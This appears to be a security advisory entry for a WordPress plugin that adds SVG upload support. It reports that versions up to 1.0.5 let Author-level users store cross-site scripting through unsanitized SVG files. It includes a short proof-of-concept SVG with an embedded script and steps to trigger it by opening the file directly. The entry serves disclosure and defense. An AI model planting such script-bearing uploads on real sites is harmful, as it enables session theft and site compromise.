Add SVG Support for Media Uploader | inventivo <= 1.0.5 - Author+ Stored XSS via SVG

2024-01-2300:00:00

Bob Matyas

svg support

media uploader

security vulnerability

inventivo 1.0.5

stored xss

direct access

AI Score

9.3

Confidence

High

JSON

Description The plugin does not sanitize uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads.

Upload an SVG with the following code:

<svg xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">alert("xss");</script>
</svg>

Access the uploaded file directly to see the XSS.

AI Score

9.3

Confidence

High

JSON

Related for WPEX-ID:8F515E36-9072-4FC4-9D2F-D50F1ADDE626